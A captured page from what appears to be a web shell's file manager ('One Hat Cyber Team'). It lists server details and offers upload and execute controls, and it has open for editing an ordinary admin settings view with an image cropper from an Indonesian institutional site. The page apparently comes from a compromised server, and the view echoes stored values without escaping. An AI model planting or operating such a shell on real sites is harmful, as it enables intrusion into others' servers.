⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
lppm
/
Modules
/
Backend
/
Config
/
Views
/
Edit File: index.php
<div class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1 class="m-0"><?=$title?></h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="#">Dashboard</a></li> <li class="breadcrumb-item active"><?=$li_1?></li> </ol> </div> </div> </div> </div> <section class="content"> <div class="container-fluid py-3"> <div class="row justify-content-center"> <div class="col-lg-11"> <h4 class="font-weight-bold text-dark mb-4">Branding & Identitas Aplikasi</h4> <form action="<?= base_url('admin/config/update/' . $config['id']) ?>" method="post"> <?=csrf_field()?> <div class="row"> <div class="col-md-6 mb-4"> <div class="card border-0 shadow-sm rounded-lg h-100"> <div class="card-body p-4"> <label class="font-weight-bold small mb-3 text-primary text-uppercase">1. Logo Horizontal (Navbar)</label> <div class="p-3 bg-light rounded border mb-3 d-flex align-items-center justify-content-center" style="height: 120px; background-image: radial-gradient(#ddd 1px, transparent 1px); background-size: 10px 10px;"> <img id="logoPreview" src="<?= base_url('uploads/config/' . ($config['app_logo'] ?: 'default.png')) ?>" class="img-fluid" style="max-height: 80px; object-fit: contain;"> </div> <div class="custom-file mb-2"> <input type="file" id="inputLogo" class="custom-file-input" accept="image/*"> <label class="custom-file-label">Pilih Logo...</label> </div> <input type="hidden" name="image_base64" id="image_base64"> <div class="small text-muted mt-2">Rasio 3:1 - Digunakan di Navbar (Header) website.</div> </div> </div> </div> <div class="col-md-6 mb-4"> <div class="card border-0 shadow-sm rounded-lg h-100"> <div class="card-body p-4"> <label class="font-weight-bold small mb-3 text-success text-uppercase">2. Logo Persegi (Ikon/Sidebar)</label> <div class="p-3 bg-light rounded border mb-3 d-flex align-items-center justify-content-center" style="height: 120px; background-image: radial-gradient(#ddd 1px, transparent 1px); background-size: 10px 10px;"> <img id="logoSquarePreview" src="<?= base_url('uploads/config/' . ($config['app_logo_square'] ?: 'default-square.png')) ?>" class="img-fluid shadow-sm border rounded" style="max-height: 80px; width: 80px; object-fit: cover;"> </div> <div class="custom-file mb-2"> <input type="file" id="inputLogoSquare" class="custom-file-input" accept="image/*"> <label class="custom-file-label">Pilih Ikon...</label> </div> <input type="hidden" name="image_square_base64" id="image_square_base64"> <div class="small text-muted mt-2">Rasio 1:1 - Digunakan untuk Ikon Sidebar atau Favicon.</div> </div> </div> </div> <div class="col-12 mb-4"> <div class="card border-0 shadow-sm rounded-lg"> <div class="card-body p-4"> <label class="font-weight-bold small mb-3 text-info text-uppercase">3. Banner Utama (Full Width)</label> <div class="p-2 bg-light rounded border mb-3 overflow-hidden shadow-inner" style="height: 180px; background-image: radial-gradient(#ddd 1px, transparent 1px); background-size: 10px 10px;"> <img id="bannerPreview" src="<?= base_url('uploads/config/' . ($config['app_banner'] ?: 'default-banner.jpg')) ?>" class="w-100 h-100" style="object-fit: cover; border-radius: 4px;"> </div> <div class="row align-items-center mb-3"> <div class="col-md-7"> <div class="custom-file"> <input type="file" id="inputBanner" class="custom-file-input" accept="image/*"> <label class="custom-file-label">Pilih Banner Baru...</label> </div> <input type="hidden" name="image_banner_base64" id="image_banner_base64"> </div> <div class="col-md-5 text-md-right mt-2 mt-md-0"> <span class="small text-muted">Rasio ideal 5:1. Rekomendasi 1400x300 pixel.</span> </div> </div> <div class="form-group mt-3"> <label class="small font-weight-bold">Link URL Banner</label> <input type="text" name="banner_link" class="form-control" value="<?= $config['banner_link'] ?>" placeholder="https://..." required> </div> </div> </div> </div> </div> <div class="card border-0 shadow-sm rounded-lg mb-4"> <div class="card-header bg-white p-4 border-bottom-0"> <h6 class="font-weight-bold mb-0"><i class="fas fa-info-circle mr-2 text-muted"></i>Informasi Kontak & SEO</h6> </div> <div class="card-body p-4 pt-0"> <div class="row"> <div class="col-md-6 form-group"> <label class="small font-weight-bold">Nama Situs / Aplikasi</label> <input type="text" name="app_name" class="form-control" value="<?= $config['app_name'] ?>" required> </div> <div class="col-md-6 form-group"> <label class="small font-weight-bold">Nomor Telepon</label> <input type="text" name="app_phone" class="form-control" value="<?= $config['app_phone'] ?>"> </div> <div class="col-12 form-group"> <label class="small font-weight-bold">Email Resmi</label> <input type="email" name="app_email" class="form-control" value="<?= $config['app_email'] ?>"> </div> <div class="col-12 form-group"> <label class="small font-weight-bold">Alamat Lengkap Kantor</label> <textarea name="app_address" class="form-control" rows="3"><?= $config['app_address'] ?></textarea> </div> <div class="col-12 form-group mb-0"> <label class="small font-weight-bold">Meta Deskripsi (SEO)</label> <textarea name="meta_description" class="form-control" rows="2" placeholder="Tuliskan deskripsi singkat website untuk Google..."><?= $config['meta_description'] ?></textarea> <p class="text-xs text-muted mt-1 mb-0">Membantu website Bapak lebih mudah ditemukan di mesin pencari.</p> </div> </div> <div class="mt-4 pt-4 border-top text-right"> <button type="submit" class="btn btn-primary px-5 rounded-pill shadow-sm font-weight-bold"> <i class="fas fa-save mr-2"></i> Simpan Seluruh Perubahan </button> </div> </div> </div> </form> </div> </div> </div> </section> <div class="modal fade" id="modalCrop" data-backdrop="static" tabindex="-1" role="dialog"> <div class="modal-dialog modal-lg modal-dialog-centered" role="document"> <div class="modal-content border-0 shadow-lg"> <div class="modal-header"> <h5 class="modal-title font-weight-bold" id="cropTitle">Potong Gambar</h5> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body p-0 bg-dark"> <div class="img-container" style="max-height: 500px; overflow: hidden;"> <img id="imageToCrop" src="" style="max-width: 100%; display: block;"> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary px-4" data-dismiss="modal">Batal</button> <button type="button" class="btn btn-primary px-4 font-weight-bold" id="btnSaveCrop">Potong & Gunakan</button> </div> </div> </div> </div> <script> $(document).ready(function() { let cropper; let currentTarget = ''; const imageToCrop = document.getElementById('imageToCrop'); const $modal = $('#modalCrop'); function handleFileSelect(e) { const files = e.target.files; if (files && files.length > 0) { const reader = new FileReader(); reader.onload = function(event) { imageToCrop.src = event.target.result; $modal.modal('show'); }; reader.readAsDataURL(files[0]); } } // Trigger Logo Horizontal $('#inputLogo').on('change', function(e) { currentTarget = 'horizontal'; $('#cropTitle').text('Potong Logo Navbar (3:1)'); handleFileSelect(e); }); // Trigger Logo Square $('#inputLogoSquare').on('change', function(e) { currentTarget = 'square'; $('#cropTitle').text('Potong Logo Persegi (1:1)'); handleFileSelect(e); }); // Trigger Banner $('#inputBanner').on('change', function(e) { currentTarget = 'banner'; $('#cropTitle').text('Potong Banner Utama (5:1)'); handleFileSelect(e); }); // Inisialisasi Cropper saat modal muncul $modal.on('shown.bs.modal', function() { let ratio = 1/1; if(currentTarget === 'horizontal') ratio = 3/1; if(currentTarget === 'banner') ratio = 14/3; // Mengikuti logika asli Anda cropper = new Cropper(imageToCrop, { aspectRatio: ratio, viewMode: 2, autoCropArea: 1, dragMode: 'move', restore: false, }); }).on('hidden.bs.modal', function() { if (cropper) { cropper.destroy(); cropper = null; } // Reset input file agar bisa memilih file yang sama lagi $('#inputLogo, #inputLogoSquare, #inputBanner').val(''); }); // Tombol Save Crop $('#btnSaveCrop').on('click', function() { if (!cropper) return; const canvas = cropper.getCroppedCanvas(); const base64 = canvas.toDataURL('image/png'); if (currentTarget === 'horizontal') { $('#logoPreview').attr('src', base64); $('#image_base64').val(base64); } else if (currentTarget === 'square') { $('#logoSquarePreview').attr('src', base64); $('#image_square_base64').val(base64); } else if (currentTarget === 'banner') { $('#bannerPreview').attr('src', base64); $('#image_banner_base64').val(base64); } $modal.modal('hide'); }); }); </script>
Simpan